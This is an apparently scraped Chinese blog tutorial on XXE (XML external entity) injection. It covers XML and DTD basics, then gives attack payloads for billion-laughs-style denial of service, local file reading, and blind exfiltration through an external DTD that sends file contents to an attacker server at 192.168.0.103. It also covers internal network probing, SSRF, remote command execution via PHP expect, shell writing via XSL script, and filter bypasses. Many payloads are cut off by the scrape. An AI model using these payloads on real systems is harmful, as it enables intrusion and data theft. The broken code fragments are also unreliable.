• WEB 渗透之XXE&XML


    XXE&XML

    1. 介绍

    1. 介绍: XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明,DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具,XXE 漏洞全称 XML External Entity Injection ,即 XML 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害

    2. XML 和 HTML 差别

      • XML 被设计为传输和存储数据,其焦点是数据的内容
      • HTML 被设计用来显示数据,其焦点是数据的外观
      • HTML 指在显示信息,而 XML 值在传输信息
      
      
      	
      	<!DOCTYPE note [ 
      	<!ELEMENT to (#PCDATA)> 
      	<!ELEMENT from (#PCDATA)> 
      	<!ELEMENT head (#PCDATA)> 
      	<!ELEMENT body (#PCDATA)> 
      ]]]>
      
      <note>
      	<to>Daveto>
      	<from>Tomfrom>
      	<head>Reminderhead>
      	<body>You are a good manbody>
      note>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
    3. XML 元素介绍:

      1. 文档类型定义 (DTD) 可定义合法的 XML 文档构建模块,它使用一系列合法的元素来定义文档的结构
        DTD 可被声明在 XML 文档中,也可以作为一个外部引用:

        1. 内部的声明

          
          
          • 1
        2. 外部文档的申明

           
          
          • 1
      2. DTD 实体:

        1. 内部实体声明

          
          
          • 1
        2. 外部实体声明

          
          
          • 1
        3. 参数实体声明

          
          
          
          • 1
          • 2

    2. 漏洞危害

    3. 漏洞利用

    1. 挖掘思路

    如遇与xml交互的地方
     
    DOCTYPE ANY [  
    <!ENTITY test "this is test"> 
    ]> 
    <root>&test;root>
    看是否输出
    检查是否支持外部实体
     
    DOCTYPE ANY [  
     
    %foo;
    ]> 
    查看你的服务器是否有请求
    JSON content-type XXE
    修改Content-Type: application/xml
    X-Requested-With: XMLHttpRequest
    
    DOCTYPE netspi []>
    <root>
    <参数name>name参数name>
    <参数value>&xxe;
    root>
    
    DOCTYPE root []><root>&test;root>
    
    
    DOCTYPE data [
    <!ELEMENT data (#ANY)>
    
    ]>
    <data>&file;data>
    
    
    DOCTYPE foo [  
    <!ELEMENT foo ANY >
    ]><foo>&xxe;foo>
    
    
    DOCTYPE foo [  
    <!ELEMENT foo ANY >
    ]><foo>&xxe;foo>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    1. 拒接服务攻击

      DOCTYPE data [
      <!ELEMENT data (#ANY)>
      <!ENTITY a0 "dos" >
      <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
      <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
      ]>
      <data>&a2;data>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7

      若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

    2. 读文件

      
      
      DOCTYPE ANY [
      	
      ]>
      <x>&xxe;x>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6

      无回显:
      先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

      
      DOCTYPE test [
      	
      	
      	%dtd;
      	%send;
      ]>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7

      在自己服务器上创建相应文件,使目标服务器访问自己服务器,从日志查看信息 test.dtd:

      % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
      >
      %payload;
      
      • 1
      • 2
      • 3
      • 4
    3. 内网探针或攻击内网应用(触发漏洞地址)

      
      DOCTYPE foo [
                <!ELEMENT foo ANY >
                
        ]>
      <x>&rabbit;x>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
    4. RCE 该 CASE 是在安装 expect 扩展的 PHP 环境中执行的

      
      DOCTYPE ANY [
      	
      ]>
      <x>&xxe;x>
      
      • 1
      • 2
      • 3
      • 4
      • 5
    5. SSRF

      
      DOCTYPE data SYSTEM "http://publicServer.com/" [
      <!ELEMENT data (#ANY)>
      ]>
      <data>4
    • 1
    • 2
    • 3
    • 4
    • 5
  • 引入外部实体 dtd

    
    DOCTYPE test [
    	
    	%file;
    ]>
    <x>&send;x>
    
    evil2.dtd:
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
  • 协议–读文件

    
    	DOCTYPE ANY [  ]>
    <x>&f;x>
    
    • 1
    • 2
    • 3
  • XXE 写 shell:

    当XXE支持XSL时
    
    <xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    xmlns:user="http://mycompany.com/mynamespace">
    <msxsl:script language="C#" implements-prefix="user">
    
    msxsl:script>
    <xsl:template match="/">
    <xsl:value-of select="user:xml()"/>
    xsl:template>
    xsl:stylesheet>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
  • 4. 绕过姿势

    1. ENTITY system file 等关键字被过滤

      使用编码方式绕过: UTF-16BE

      cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

    2. http 被过滤:

      1. data:// 协议绕过

        
        DOCTYPE test [
             "> 
            %a;
            %b;
        ]>
        <test>&hhh;test>
        
        • 1
        • 2
        • 3
        • 4
        • 5
        • 6
        • 7
      2. file:// 协议加文件上传

        
        DOCTYPE test [
            
            %a;
        ]>
        
        
        
        • 1
        • 2
        • 3
        • 4
        • 5
        • 6
        • 7
      3. php://filter 协议加文件上传

        
        DOCTYPE test [
            
            %a;
        ]>
            <test>
                &hhh;
            test>
        
        
        
        
        • 1
        • 2
        • 3
        • 4
        • 5
        • 6
        • 7
        • 8
        • 9
        • 10
        • 11
        
        DOCTYPE test [
            
            %a;
        ]>
            <test>
                &hhh;
            test>
        
        PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
        
        • 1
        • 2
        • 3
        • 4
        • 5
        • 6
        • 7
        • 8
        • 9
        • 10

    5. 靶场

    6. 参考文章

    1. 浅谈XML 实体注入漏洞
    2. XXE
    3. XXE&XML
    4. CTF_XXE

    ==
    ```

    5. 靶场

    6. 参考文章

    1. 浅谈XML 实体注入漏洞
    2. XXE
    3. XXE&XML
    4. CTF_XXE
  • 相关阅读:
    解决方案:用决策树算法如何生成决策树图及生成SQL规则
    2022年最新uniapp学习,从零基础到实战项目,unicloud数据后台快速打造uniapp小程序项目
    EN 1935建筑五金.单轴铰链—CE认证
    java中@Async注解通常与Springboot框架一起使用,如何在Springboot框架开启这个注解?
    2022.8.4-----leetcode.1403
    [开源]多功能、高效率、低代码的前后端一体化、智能化的开发工具
    c++数组教程
    无人机共轴动力系统测试研究
    springboot+Uniapp+redis智能导诊系统源码,支持以公众号、小程序、App 等形式接入
    多线程,进程
  • 原文地址:https://blog.csdn.net/weixin_53150482/article/details/126156886